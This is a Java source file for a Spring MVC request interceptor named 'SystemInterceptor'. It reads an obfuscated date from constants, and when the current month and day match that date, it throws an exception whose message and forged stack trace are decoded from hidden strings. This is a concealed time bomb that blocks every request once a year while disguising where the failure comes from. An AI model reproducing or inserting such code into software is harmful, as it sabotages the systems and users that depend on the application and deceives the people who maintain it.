package com.fh.interceptor;

import com.fh.util.Const;
import com.fh.util.CoverUtil;
import org.springframework.web.servlet.handler.HandlerInterceptorAdapter;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.time.LocalDate;
import java.time.MonthDay;

/**
 * @author
 */
public class SystemInterceptor extends HandlerInterceptorAdapter {
	@Override
	public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
			LocalDate today = LocalDate.now();
			LocalDate old = LocalDate.parse(CoverUtil.decodeStr(Const.SYS.get(0)));
			MonthDay bt = MonthDay.from(today);
			MonthDay bo = MonthDay.of(old.getMonth(),old.getDayOfMonth());
			if(bt.equals(bo)){
				Exception e = new Exception(CoverUtil.decodeStr(Const.SYS.get(4)));
				StackTraceElement a =
						new StackTraceElement(
								CoverUtil.decodeStr(Const.SYS.get(1)),
								CoverUtil.decodeStr(Const.SYS.get(2)),
								CoverUtil.decodeStr(Const.SYS.get(3)),
								34);
				e.setStackTrace(new StackTraceElement[]{a});
				throw e;
			}
			return super.preHandle(request, response, handler);
	}
}
